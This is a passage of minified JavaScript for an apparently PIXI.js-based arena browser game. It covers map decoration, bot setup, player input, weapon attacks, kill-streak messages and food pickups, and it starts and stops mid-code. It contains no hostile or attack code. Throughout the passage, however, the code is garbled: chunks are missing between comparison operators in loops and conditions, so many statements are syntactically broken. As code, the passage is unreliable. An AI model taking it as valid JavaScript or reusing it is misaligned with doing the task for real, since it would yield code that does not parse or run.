width",ie,De,n),15==De?(B=[0,.6,.6,.6,.7,.7,.8,.8,.9,.9,1,1,1,1,1][n],T=[0,.8,.8,.8,.9,.9,1,1,1.1,1.1,1.2,1.2,1.2,1.2,1.2][n]):14==De?(B=[0,.6,.6,.7,.7,.8,.9,1][n],T=[0,.8,.8,.9,.9,1,1.1,1.2][n]):(1==De?(1==n&&(B=.7,T=.9),2==n&&(B=.8,T=1)):-1!=[2,3,4,5,6,7,8,9,10,11].indexOf(De)&&(1==n&&(B=.6,T=.8),2==n&&(B=.7,T=.9)),n>=3&&(De>=7?(3==n&&(B=.8,T=1),4==n&&(B=.9,T=1.1),n>=5&&(B=1,T=1.2)):(B=1,T=1.2))),(4==De||6==De||De>=7)&&(m=!1),5==De&&(m=n>=3),Si=1,Ci=0,Bi=0,hi&&hi.clear(),ci&&(ci.clear(),ci.visible=!0),pi&&pi.clear(),gi&&(gi.clear(),gi.visible=!0);var a=di(Wi),o=new PIXI.Graphics;if(o.beginFill(16046768),o.drawRect(0,0,ie,ae),R.addChild(o),15==De||16==De&&8==a){var r=3*Oe;switch(2==a?r=.4*ie:9==a&&(r=.2*ie),4!=a&&11!=a&&((Rt=new PIXI.extras.TilingSprite(V["04g"])).position.set(r,r),Rt.width=ie-2*r,Rt.height=ae-2*r,Rt.tileScale.set(1/Rt.width/8*300*ie/50,1/Rt.height/8*300*ie/50),R.addChild(Rt)),a){case 1:zt(O,100,"rocks",1.5*ne,r),zt(Y,20,["palms2-1","palms2-2"],12*ne,r);break;case 2:zt(O,200,"shells",1.5*ne,0),zt(Y,10,["palms2-1","palms2-2"],12*ne,0),zt(Y,10,["palms2-1","palms2-2"],12*ne,r);break;case 3:zt(Y,17,["palms2-1","palms2-2"],12*ne,r),zt(O,17,"stonehead",6*ne,r);break;case 4:(s=new PIXI.Sprite(V["large-ship"])).width=20*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r,ae-r-s.height),O.addChild(s),zt(O,29,"crabs",3*ne,0),zt(O,29,"debris",5*ne,0),zt(O,179,["bush-1","bush-2"],4*ne,0);break;case 5:zt(Y,188,["palms2-1","palms2-2"],12*ne,r),(s=new PIXI.Sprite(V.temple)).anchor.set(.5),s.width=25*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(ie/2,ae/2),O.addChild(s),zt(O,375,["bush-1","bush-2"],4*ne,0),zt(O,23,["ruins-1","ruins-2","ruins-3"],10*ne,0);break;case 6:(s=new PIXI.Sprite(V.volcano)).anchor.set(.42,.4),s.width=40*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(ie/2,ae/2),O.addChild(s),zt(O,34,"vsplash",10*ne,0),zt(O,134,["bush-1","bush-2"],4*ne,0),zt(Y,17,["palms2-1","palms2-2"],12*ne,r),zt(Y,67,["palms3-1","palms3-2"],12*ne,r);break;case 7:zt(Y,14,["palms2-1","palms2-2"],12*ne,r),zt(O,70,"rocks",1.5*ne,r),zt(O,140,["bush-1","bush-2"],4*ne,0);for(t=1;t<28;t++){var d=Math.random()<.5?"1":"2";(h=new PIXI.Sprite(V["house"+d+"-b"])).anchor.set(.5),h.width=ne*(1==d?12:15),h.height=h.width/h.texture.width*h.texture.height,h.position.set(r+Math.random()*(ie-h.width-2*r),r+Math.random()*(ae-h.height-2*r)),O.addChild(h),(c=new PIXI.Sprite(V["house"+d+"-t"])).anchor.set(.5),c.width=h.width,c.height=h.height,c.position.set(h.x,h.y),Y.addChild(c),Ft.push(c)}break;case 8:zt(O,140,"rocks",1.5*ne,r),16==De||18==De?(zt(O,200,["bush-1","bush-2"],4*ne,0),zt(Y,60,["palms-1","palms-2"],12*ne,r)):zt(Y,28,["palms2-1","palms2-2"],12*ne,r);break;case 9:zt(O,320,"shells",1.5*ne,0),zt(Y,16,["palms2-1","palms2-2"],12*ne,0),zt(Y,16,["palms2-1","palms2-2"],12*ne,r);break;case 10:zt(Y,27,["palms2-1","palms2-2"],12*ne,r),zt(O,27,"stonehead",6*ne,r);break;case 11:(s=new PIXI.Sprite(V["large-ship"])).width=20*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(ie-r-s.width,r,ae-r-s.height),O.addChild(s),zt(O,51,"crabs",3*ne,0),zt(O,51,"debris",5*ne,0),zt(O,128,["bush-1","bush-2"],4*ne,0);break;case 12:zt(Y,280,["palms2-1","palms2-2"],12*ne,r),(s=new PIXI.Sprite(V.temple)).anchor.set(.5),s.width=25*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(ie/2,ae/2),O.addChild(s),zt(O,562,["bush-1","bush-2"],4*ne,0),zt(O,34,["ruins-1","ruins-2","ruins-3"],10*ne,0);break;case 13:(s=new PIXI.Sprite(V.volcano)).anchor.set(.42,.4),s.width=40*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(ie/2,ae/2),O.addChild(s),zt(O,55,"vsplash",10*ne,0),zt(O,222,["bush-1","bush-2"],4*ne,0),zt(Y,28,["palms2-1","palms2-2"],12*ne,r),zt(Y,111,["palms3-1","palms3-2"],12*ne,r);break;case 14:zt(Y,20,["palms2-1","palms2-2"],12*ne,r),zt(O,100,"rocks",1.5*ne,r),zt(O,200,["bush-1","bush-2"],4*ne,0);for(t=1;t<40;t++){d=Math.random()<.5?"1":"2";(h=new PIXI.Sprite(V["house"+d+"-b"])).anchor.set(.5),h.width=ne*(1==d?12:15),h.height=h.width/h.texture.width*h.texture.height,h.position.set(r+Math.random()*(ie-h.width-2*r),r+Math.random()*(ae-h.height-2*r)),O.addChild(h),(c=new PIXI.Sprite(V["house"+d+"-t"])).anchor.set(.5),c.width=h.width,c.height=h.height,c.position.set(h.x,h.y),Y.addChild(c),Ft.push(c)}}}else{r=3*Oe;if(2==a&&(r=.4*ie),4!=a&&((Rt=new PIXI.extras.TilingSprite(V["04g"])).position.set(r,r),Rt.width=ie-2*r,Rt.height=ae-2*r,Rt.tileScale.set(1/Rt.width/8*300*ie/50,1/Rt.height/8*300*ie/50),R.addChild(Rt)),1==a)for(t=1;t<100;t++){(s=new PIXI.Sprite(V.rocks)).width=1.5*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r+Math.random()*(ie-s.width-2*r),r+Math.random()*(ae-s.height-2*r)),O.addChild(s)}if(2==a)for(t=1;t<200;t++){(s=new PIXI.Sprite(V.shells)).width=1.5*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}if(2==a){for(t=1;t<10;t++){(s=new PIXI.Sprite(V["palms2-"+(Math.random()<.5?"1":"2")])).width=12*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),Y.addChild(s)}for(t=1;t<10;t++){(s=new PIXI.Sprite(V["palms2-"+(Math.random()<.5?"1":"2")])).width=12*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r+Math.random()*(ie-s.width-2*r),r+Math.random()*(ae-s.height-2*r)),Y.addChild(s)}}else if(4!=a&&6!=a&&7!=a)for(t=1;t<(5==a?250:20);t++){var l=1==a?"palms2-":"palms-";(s=new PIXI.Sprite(V[l+(Math.random()<.5?"1":"2")])).width=12*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r+Math.random()*(ie-s.width-2*r),r+Math.random()*(ae-s.height-2*r)),Y.addChild(s)}if(3==a)for(t=1;t<20;t++){(s=new PIXI.Sprite(V.stonehead)).width=6*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r+Math.random()*(ie-s.width-2*r),r+Math.random()*(ae-s.height-2*r)),O.addChild(s)}if(4==a){(s=new PIXI.Sprite(V["large-ship"])).width=20*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r,ae-r-s.height),O.addChild(s);for(t=1;t<40;t++){(s=new PIXI.Sprite(V.crabs)).width=3*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}for(t=1;t<40;t++){(s=new PIXI.Sprite(V.debris)).width=5*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}for(t=1;t<100;t++){(s=new PIXI.Sprite(V["bush-"+(Math.random()<.5?"1":"2")])).width=4*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}}if(5==a){(s=new PIXI.Sprite(V.temple)).anchor.set(.5),s.width=25*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(ie/2,ae/2),O.addChild(s);for(t=1;t<500;t++){(s=new PIXI.Sprite(V["bush-"+(Math.random()<.5?"1":"2")])).width=4*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}for(t=1;t<30;t++){(s=new PIXI.Sprite(V["ruins-"+Math.ceil(3*Math.random())])).width=10*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}}if(6==a){(s=new PIXI.Sprite(V.volcano)).anchor.set(.42,.4),s.width=40*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(ie/2,ae/2),O.addChild(s);for(t=1;t<50;t++){(s=new PIXI.Sprite(V.vsplash)).width=10*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}for(t=1;t<200;t++){(s=new PIXI.Sprite(V["bush-"+(Math.random()<.5?"1":"2")])).width=4*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}for(t=1;t<25;t++){l="palms-";(s=new PIXI.Sprite(V[l+(Math.random()<.5?"1":"2")])).width=12*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r+Math.random()*(ie-s.width-2*r),r+Math.random()*(ae-s.height-2*r)),Y.addChild(s)}for(t=1;t<100;t++){l="palms3-";(s=new PIXI.Sprite(V[l+(Math.random()<.5?"1":"2")])).width=12*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r+Math.random()*(ie-s.width-2*r),r+Math.random()*(ae-s.height-2*r)),Y.addChild(s)}}if(7==a){for(t=1;t<100;t++){(s=new PIXI.Sprite(V.rocks)).width=1.5*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r+Math.random()*(ie-s.width-2*r),r+Math.random()*(ae-s.height-2*r)),O.addChild(s)}for(t=1;t<200;t++){(s=new PIXI.Sprite(V["bush-"+(Math.random()<.5?"1":"2")])).width=4*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(Math.random()*(ie-s.width),Math.random()*(ae-s.height)),O.addChild(s)}for(t=1;t<100;t++){var s;l="palms-";(s=new PIXI.Sprite(V[l+(Math.random()<.5?"1":"2")])).width=12*ne,s.height=s.width/s.texture.width*s.texture.height,s.position.set(r+Math.random()*(ie-s.width-2*r),r+Math.random()*(ae-s.height-2*r)),Y.addChild(s)}for(t=1;t<40;t++){var h,c;d=Math.random()<.5?"1":"2";(h=new PIXI.Sprite(V["house"+d+"-b"])).anchor.set(.5),h.width=ne*(1==d?12:15),h.height=h.width/h.texture.width*h.texture.height,h.position.set(r+Math.random()*(ie-h.width-2*r),r+Math.random()*(ae-h.height-2*r)),O.addChild(h),(c=new PIXI.Sprite(V["house"+d+"-t"])).anchor.set(.5),c.width=h.width,c.height=h.height,c.position.set(h.x,h.y),Y.addChild(c),Ft.push(c)}}}try{H.setTransform();var p=new PIXI.Graphics;p.beginFill(1289136),p.drawRect(-Ge,-Ge,ie+2*Ge,ae+2*Ge),R.addChildAt(p,0),H.position.set(Ge,Ge);var g=PIXI.RenderTexture.create(H.width,H.height,PIXI.settings.SCALE_MODE,256/(ie+2*Ge));L.render(H,g),V.minimap=g,R.removeChild(p),H.setTransform()}catch(e){}ee=new En(ie,ae,1),te=new En(ie,ae,1),ve[We]=A,Ie[We]=U;var u=100,y=34;if(16==De||18==De)u=[0,100,150,200,250,300,350,400,400][n],y=[0,50,67,84,100,117,134,134,134][n];else if(15==De)u=[0,100,125,150,175,200,225,250,275,300,325,350,375,400,400][n],y=[0,34,42,50,59,67,75,84,92,100,109,117,125,134,134][n];else switch(n){case 2:u=150,y=50;break;case 3:u=200,y=67;break;case 4:u=250,y=84;break;case 5:u=300,y=100;break;case 6:u=350,y=117;break;case 7:u=400,y=134}Nt=i;for(t=1;t=13&&n>=ia[0]){if(15==De)var w=[0,0,0,1,1,2,2,3,4,5,6,7,8,9,10];else w=[0,0,1,2,3,5,8,10,10];Math.random()=11)x=[0,0,.05,.1,.15,.2,.25,.3,.3][n],k=[0,0,.05,.1,.2,.3,.4,.5,.5][n],M=[0,0,0,0,0,.05,.05,.05,.05][n];else switch(n){case 5:x=-1!=[6,7,8,9,10].indexOf(De)?.3:.4,k=-1!=[6,7,8,9,10].indexOf(De)?.4:.5,M=.05;break;case 4:x=-1!=[6,7,8,9,10].indexOf(De)?.2:.3,k=-1!=[6,7,8,9,10].indexOf(De)?.3:.4;break;case 3:x=-1!=[6,7,8,9,10].indexOf(De)?.1:.2,k=-1!=[6,7,8,9,10].indexOf(De)?.2:.3;break;case 2:x=-1!=[6,7,8,9,10].indexOf(De)?.05:.1,k=-1!=[2,3,4].indexOf(De)?.1:.2}for(t=1;t<=i*x;t++)Ne[t].level=1;for(t=1;t<=i*M;t++)Ne[t].level=2;for(t=1;t<=i*k;t++)Ne[t].canCharge=!0;if(Pt(We),X&&(Ne[We].foodEaten=0),St(Ne[We]),Wt=e,e)Ne[We].x=-1e3,Ne[We].y=-1e3,Ne[We].dead=!0;else{anime({targets:Ne[We].usernameText,delay:5e3,duration:1e3,alpha:0,easing:"linear"});f=At(20*ne);Ne[We].x=f.x,Ne[We].y=f.y,te.add(Ne[We],Ne[We].position),De>=13&&void 0!==j&&j>0&&(la[j]?Ct(j,We):console.error("Player pet is invalid",j))}Fe=0,clearInterval(Lt),clearTimeout(Ht),e&&(Ht=setTimeout(function(){_t(!0)},6e4));for(t=0;t<400;t++)v=5,I=void 0,void 0,I=new PIXI.Sprite(V.coins_s),b=At(2*ne),I.position.set(b.x,b.y),I.width=.4,I.height=.4,I.anchor.set(.5),G.addChild(I),I.foodValue=v||5,fe.push(I),ee.add(I,I);for(t=0;t<(16!=De&&18!=De||8!=a?10:20);t++)Bt();if(ge=e,fn(),MainLoop.start(),pe=!0,L.view.style.display="block",e||(document.getElementById("play-button").style.display="inline-block",document.getElementById("play-spinner").style.display="none",document.getElementById("homepage").style.display="none",jt(),"undefined"!=typeof PokiSDK&&PokiSDK.destroyAd(document.getElementById("banner-on-homepage"))),$e&&!e&&n<=2){var P=Math.min(.4*window.innerWidth,.3*window.innerHeight),E=new PIXI.Sprite(V.hint1),S=new PIXI.Sprite(V.hint2);E.width=E.height=S.width=S.height=P,E.position.set((window.innerWidth-2*P)/3,.98*window.innerHeight-P),S.position.set(2*(window.innerWidth-2*P)/3+P,E.y),q.addChild(E),q.addChild(S),anime({targets:[E,S],alpha:0,delay:1==n?5e3:3e3,duration:1e3,easing:"linear",complete:function(){q.removeChild(E),q.removeChild(S)}})}document.activeElement&&document.activeElement.blur(),L.view.focus()}var Yt,qt,Vt,Ut=0;function jt(){for(var e=[],t=0;tn.foodEaten;)i++;e.splice(i,0,n)}}Ut=e.length,dn.text=Ut}function Jt(e){if(pe&&(me=e.clientX,ue=e.clientY,Ne[We])){var t=Math.atan2(ue-window.innerHeight/2,me-window.innerWidth/2);Ne[We].targetRotation=t,Math.sqrt(Math.pow(ue-window.innerHeight/2,2)+Math.pow(me-window.innerWidth/2,2))/H.scale.x*H.transform.scale.x=.2*n){var r=Math.atan2(qt.clientY-Yt.clientY,qt.clientX-Yt.clientX);Ne[We].targetRotation=r,Ne[We].moving=!0,o>=.4*n&&(Z.x=Q.x+Math.cos(r)*n*.4,Z.y=Q.y+Math.sin(r)*n*.4,Yt.clientX=a.clientX+Math.cos(r+Math.PI)*Math.min(o,n),Yt.clientY=a.clientY+Math.sin(r+Math.PI)*Math.min(o,n),Q.x=Yt.clientX,Q.y=Yt.clientY)}}e.preventDefault()}}function Zt(e){pe&&(0==e.button?E?Ne[We].charging=!0:Rn(Ne[We]):e.button,e.preventDefault())}function $t(e){pe&&(0==e.button?E&&(Ne[We].charging=!1,Rn(Ne[We])):e.button)}var en,tn,nn,an,on,rn,dn,ln,sn,hn,cn,pn=[!1,!1,!1,!1];function gn(){if(pn[0]||pn[1]||pn[2]||pn[3]){var e=0,t=0;pn[0]?t-=1:pn[1]&&(t+=1),pn[2]?e-=1:pn[3]&&(e+=1);var n=Math.atan2(t,e);Ne[We].moving&&Ne[We].rotation==n||(Ne[We].moving=!0,Ne[We].targetRotation=n)}else Ne[We].moving=!1}function mn(e){if(pe){var t=void 0!==e.code;if(t&&"KeyW"==e.code||!t&&87==e.keyCode||38==e.keyCode)pn[0]=!0,gn();else if(t&&"KeyS"==e.code||!t&&83==e.keyCode||40==e.keyCode)pn[1]=!0,gn();else if(t&&"KeyA"==e.code||!t&&65==e.keyCode||37==e.keyCode)pn[2]=!0,gn();else if(t&&"KeyD"==e.code||!t&&68==e.keyCode||39==e.keyCode)pn[3]=!0,gn();else if(t&&"Space"==e.code||!t&&32==e.keyCode)E?Ne[We].charging=!0:Rn(Ne[We]);else if(!(9==e.keyCode||e.keyCode>=65&&e.keyCode<=90||60==e.keyCode))return}}function un(e){if(pe){var t=void 0!==e.code;if(t&&"KeyW"==e.code||!t&&87==e.keyCode||38==e.keyCode)pn[0]=!1,gn();else if(t&&"KeyS"==e.code||!t&&83==e.keyCode||40==e.keyCode)pn[1]=!1,gn();else if(t&&"KeyA"==e.code||!t&&65==e.keyCode||37==e.keyCode)pn[2]=!1,gn();else if(t&&"KeyD"==e.code||!t&&68==e.keyCode||39==e.keyCode)pn[3]=!1,gn();else if(t&&"Space"==e.code||!t&&32==e.keyCode)E&&(Ne[We].charging=!1,Rn(Ne[We]));else{}0}}function yn(e){}function fn(e,t){t||L.resize(window.innerWidth,window.innerHeight),de=oe,le=re,window.innerHeight>window.innerWidth&&(de=re,le=oe);var n=window.innerWidth/window.innerHeight;de9?Math.ceil(Ci):"0"+Math.ceil(Ci)),dn.text=Ut,sn.text=Ne[We].kills,hn&&q.removeChild(hn),(hn=new PIXI.Sprite(V.coins_m)).width=hn.height=.2*en.height,hn.position.set(.01*window.innerWidth,.01*window.innerHeight),q.addChild(hn),cn&&q.removeChild(cn),(cn=new PIXI.Text("0",{fontFamily:"Nunito",fontWeight:"bold",fontSize:.8*hn.height,fill:16777215,align:"center"})).anchor.set(.5),cn.position.set(hn.x+1.2*hn.width+cn.width/2,hn.y+cn.height/2),q.addChild(cn),nn.visible=!ge,en.visible=!ge,tn.visible=!ge,pi.visible=!ge,gi.visible=!ge,hn.visible=!ge,cn.visible=!ge,void 0!==V&&(ua(!0),ma())}Ha(),wn()}function wn(){window.innerWidth>window.innerHeight?(document.body.classList.add("landscape"),document.body.classList.remove("portrait")):(document.body.classList.remove("landscape"),document.body.classList.add("portrait"))}var vn,In,bn=0,xn=0;function Mn(e,t,n,i){var a=(new Date).getTime();a-bn<1e3?(xn++,vn.restart(),vn.animations[0].animatable.target.text="Size UP +"+xn):(vn=kn("Size UP +1",16777215,!0,!0),xn=1),bn=a}function kn(e,t,n,i){var a=new PIXI.Text(e,{fontFamily:"Nunito",fontWeight:"bold",fontSize:Math.round(Math.min(window.innerHeight,window.innerWidth)/20),fill:t||56576,align:"center"});a.anchor.set(.5),a.position.set(window.innerWidth/2,window.innerHeight*(i?.4:.2)),q.addChild(a);var o=anime({targets:a,easing:"linear",alpha:[1,0],y:window.innerHeight*(i?.3:.1),duration:2e3,complete:function(){q.removeChild(a)}});return n&&anime({targets:a.scale,x:[.5,1],y:[.5,1],easing:"easeOutBack",duration:500}),o}function Pn(){}function En(e,t,n){this.gridSize=n;var i=Math.ceil((e+1)/n),a=Math.ceil((t+1)/n);this.grid=[];for(var o=0;o1)d.set(t.x,t.y);else{var l=new PIXI.Point(t.x,t.y).sub(e);d.set(e.x,e.y),d.add(l.scl(o))}return(r=d.dst(n))=0&&y<=1){var f=((o-i)*m-(r-a)*u)/g;if(f>=0&&f<=1)return!0}}l=c,s=p}return!1}function Bn(e,t){for(var n=e-t;n<-Math.PI;)n+=2*Math.PI;for(;n>Math.PI;)n-=2*Math.PI;return n}function Tn(e,t,n,i){var a=new PIXI.Sprite(V.dead);a.width=i.width,a.height=i.width/a.texture.width*a.texture.height,a.x=e,a.y=t,a.rotation=n,a.anchor.set(.5),W.addChild(a),anime({targets:a,alpha:[1,0],easing:"easeInQuint",duration:5e3,complete:function(){W.removeChild(a)}})}function Xn(e){for(var t=null,n=Number.MAX_VALUE,i=Math.ceil(oe/te.gridSize),a=te.getAllInRange(e,i,i),o=0;o=0;o--){var r=e.position.dst2(a[o].position);rf&&(delete e.knockingTime,delete e.knockingDir),void 0!==e.knockingTime)e.x+=1/60*p*e.scale.x*Math.cos(e.knockingDir),e.y+=1/60*p*e.scale.x*Math.sin(e.knockingDir);else if(e.attacking&&E){if(e.fuel/100>.2&&(g-e.attackTurnsLeft)/g<=e.fuel/100&&(e.x+=1/60*x*Math.cos(e.rotation),e.y+=1/60*x*Math.sin(e.rotation),xe-e.lastGhostTurn>=2)){var t=new PIXI.Sprite(e.base.texture);t.width=e.base.width*e.scale.x,t.height=e.base.height*e.scale.y,t.x=e.x,t.y=e.y,t.rotation=e.rotation,t.anchor.set(e.base.anchor.x,e.base.anchor.y),t.tint=e.base.tint,W.addChild(t),e.ghosts.push(t),t.alpha=.5,e.lastGhostTurn=xe,t.turn=xe}}else if(e.attacking&&b&&e.fuel>=M)e.x+=1/60*x*Math.cos(e.rotation),e.y+=1/60*x*Math.sin(e.rotation);else if(!e.attacking&&e.moving){var n=!b&&e.boosting&&e.fuel>1?1.5:1;e.x+=1/60*s*n*Math.cos(e.rotation),e.y+=1/60*s*n*Math.sin(e.rotation)}if(e.x=ie-ne&&(e.x=ie-ne),e.y>=ae-ne&&(e.y=ae-ne),E&&!e.attacking&&e.charging&&(e.fuel=Math.min(100,e.fuel+S)),e.attacking)if(e.attackTurnsLeft--,e.attackTurnsLeft<0)e.attacking=!1,e.recoveringAttack=!1,e.weaponState=1==e.weaponState?0:1,l&&(e.weaponContainer.scale.x*=-1),E?e.fuel=0:b&&e.fuel>=M&&(e.fuel-=M);else{d?e.weaponRotation+=e.weaponState?I:-I:(e.weaponRotation+=e.attackTurnsLeft0?y*c:Math.max(-h,Math.min(h,y))}!e.attacking&&e.attackPending&&Rn(e),te.update(e,e.oldPosition,e.position)}}function Rn(e){var t=void 0!==e.targetRotation&&Math.abs(Bn(e.targetRotation,e.rotation))>h;if(e.attacking||t)e.attackPending=!0;else if(e.attacking=!0,e.attackTurnsLeft=g,delete e.attackPending,ze&&e.playerId===We)try{navigator.vibrate(10+e.fuel/100*15)}catch(e){}}function Dn(e){var t=e.position.dst2(xi)>Pi*Pi;e.isInFog=t,t?e.lastFogEntry?xe-e.lastFogEntry>180&&(e.lastFogEntry=xe,e.health-=.1*e.maxHealth,e.barMask&&(e.barMask.width=e.health/e.maxHealth*e.barMask.parent.width),e.health>0&&Nn(e)):e.lastFogEntry=xe:e.lastFogEntry=0}function On(){try{In&&!In.completed&&In.pause()}catch(e){console.error(e)}var e=!1;In=anime({targets:cn.scale,x:[1,1.3,1],y:[1,1.3,1],easing:"linear",duration:200,update:function(t){!e&&t.progress>=50&&(e=!0,cn.text=Ne[We].foodEaten,cn.position.set(hn.x+1.2*hn.width+cn.width/cn.scale.x/2,hn.y+cn.height/cn.scale.y/2))}})}function Gn(e){for(var t=Ne[Fe]||Ne[We],n=Math.pow(2*ne*e.scale.x,2),i=ee.getAllInRange(e,1,1),a=i.length-1;a>=0;a--){var o=i[a];if(Math.pow(e.x-o.x,2)+Math.pow(e.y-o.y,2)0&&n!=t.scale.x&&Mn()}}(o,e);o.position.dst2(t)=0&&n.splice(i,1)},En.prototype.update=function(e,t,n){var i=Math.floor(t.x/this.gridSize),a=Math.floor(t.y/this.gridSize),o=Math.floor(n.x/this.gridSize),r=Math.floor(n.y/this.gridSize);if(i!=o||a!=r){var d=this.grid[i][a],l=d.indexOf(e);l>=0&&d.splice(l,1),this.grid[o][r].push(e)}},En.prototype.getAllInRange=function(e,t,n){for(var i=new Set,a=Math.floor(e.x/this.gridSize),o=Math.floor(e.y/this.gridSize),r=-t;r<=t;r++)for(var d=-n;d<=n;d++)a+r>=0&&a+r=0&&o+d=0?(this.x=-this.y,this.y=t):(this.x=this.y,y=-t),this},PIXI.ObservablePoint.prototype.dot=function(e){return this.x*e.x+this.y*e.y},PIXI.Point.prototype.dst=PIXI.ObservablePoint.prototype.dst,PIXI.Point.prototype.dst2=PIXI.ObservablePoint.prototype.dst2,PIXI.Point.prototype.sub=PIXI.ObservablePoint.prototype.sub,PIXI.Point.prototype.add=PIXI.ObservablePoint.prototype.add,PIXI.Point.prototype.scl=PIXI.ObservablePoint.prototype.scl,PIXI.Point.prototype.len=PIXI.ObservablePoint.prototype.len,PIXI.Point.prototype.len2=PIXI.ObservablePoint.prototype.len2,PIXI.Point.prototype.nor=PIXI.ObservablePoint.prototype.nor,PIXI.Point.prototype.cpy=PIXI.ObservablePoint.prototype.cpy,PIXI.Point.prototype.rotate90=PIXI.ObservablePoint.prototype.rotate90,PIXI.Point.prototype.dot=PIXI.ObservablePoint.prototype.dot;var Fn=[];function zn(){!function(){if(!(window.cordova&&xe<90)&&xe%8==0)for(var e=(new Date).getTime(),t=0;t3e3)&&(n.lastBoostActing=e,n.attackDistance=Math.random()*(T-B)+B),2==n.level&&!ge&&xe>600)n.targetRotation=Math.atan2(Ne[We].y-n.y,Ne[We].x-n.x);else if(1==n.level&&xe>600)(i=Xn(n))&&(n.targetRotation=Math.atan2(i.y-n.y,i.x-n.x));else if(n.position.dst2(xi)<=Pi*Pi){var a=An(n,4);if(a)n.targetFood!==a&&(n.targetRotation=Math.atan2(a.y-n.y,a.x-n.x)+Math.random()*Math.PI/8-Math.PI/16),n.targetFood=a;else if(Math.random()<.1||!Ln(n))do{n.targetRotation=Math.random()*Math.PI*2}while(!Ln(n));else n.x<=2*ne&&Math.cos(n.targetRotation)<0||n.y<=2*ne&&Math.sin(n.targetRotation)<0||n.x>=ie-2*ne&&Math.cos(n.targetRotation)>0||n.y>=ae-2*ne&&Math.sin(n.targetRotation)>0?n.targetRotation=Math.random()*Math.PI*2:n.targetRotation+=Math.random()*Math.PI/8-Math.PI/16}else do{n.targetRotation=Math.random()*Math.PI*2}while(!Ln(n));if(n.canCharge&&(n.charging&&n.fuel>=80&&Math.random()<.1?(n.charging=!1,Rn(n)):!n.charging&&Math.random()<.1&&(n.charging=!0)),!n.attacking){if(i||(i=Xn(n)),!i)continue;(i.playerId!=We||!ge)&&i.position.dst(n.position)20&&xe-A.ghosts[0].turn>40&&(W.removeChild(A.ghosts[0]),A.ghosts.splice(0,1));for(var i=0;i0){if(s.knockingTime=xe,s.knockingDir=Math.atan2(s.y-i.y,s.x-i.x),Nn(s),ze){if(s.playerId===We)try{navigator.vibrate(50)}catch(e){}if(i.playerId===We)try{navigator.vibrate(25)}catch(e){}}}else{if(ze){if(s.playerId===We)try{navigator.vibrate(200)}catch(e){}if(i.playerId===We)try{navigator.vibrate(100)}catch(e){}}e[r[d].playerId]=!0,i.kills++,i.score+=100,Tn(s.x,s.y,s.rotation,s),s.killerId=n;var y=(new Date).getTime();y-i.lastKillTime<3e3?i.killCountInARow++:i.killCountInARow=1,i.lastKillTime=y;var w=0;if(i.killCountInARow>=2){var v=10*(i.killCountInARow-1);i.score+=v}else Math.abs(Bn(i.rotation,s.rotation))=1){var I="x"+i.killCountInARow+" Supernatural Kill!!!";switch(i.killCountInARow){case 1:I="You killed "+ve[s.playerId]+"!";break;case 2:I="Double Kill!";break;case 3:I="Triple Kill!";break;case 3:I="x"+i.killCountInARow+" Mega Kill!";break;case 4:I="x"+i.killCountInARow+" Epic Kill!";break;case 5:I="x"+i.killCountInARow+" Insane Kill!";break;case 6:I="x"+i.killCountInARow+" Legendary Kill!"}kn(I,16717089,!0),sn.text=Ne[We].kills}if(X){var b=Xt(s.x,s.y,s.foodEaten);2==Ut&&(Fn=b)}else Xt(s.x,s.y,Math.max(5,Math.floor(s.score/40)))}break}}if(m&&!e[r[d].playerId]&&(!s.attacking||s.playerId>n)){var x=a[a.length-1];for(p=0;p1){A.moving&&(I<6*ne&&(b*=.4+I/(6*ne)*.6),I>8*ne&&(b*=1.2)),I<2*ne&&A.healthne*(A.health0?k*c:Math.max(-h,Math.min(h,k))}if(I<1*ne&&A.healthA.maxHealth&&(A.health=A.maxHealth),A.barMask&&(A.barMask.width=A.health/A.maxHealth*A.barMask.parent.width),xe%6==0)){var S=new PIXI.Sprite(V.heart),C=la[w.petId];C||console.error("tint not found petId was",w.petId,"for player",n),S.tint=C[Math.floor(Math.random()*C.length)],S.width=ne/2,S.height=S.width/S.texture.width*S.texture.height,S.anchor.set(.5),S.position.set(w.x+ne*Math.random()-ne/2,w.y+ne*Math.random()-ne/2),_.addChild(S),anime({targets:S,x:S.x+ne*Math.random()*2-ne,y:S.y-5*ne,alpha:{value:0,easing:"easeInQuad"},easing:"linear",duration:1e3,complete:function(){_.removeChild(S)}})}}w.x+=Math.cos(w.rotation)*b*1/60,w.y+=Math.sin(w.rotation)*b*1/60}for(var n in e){var 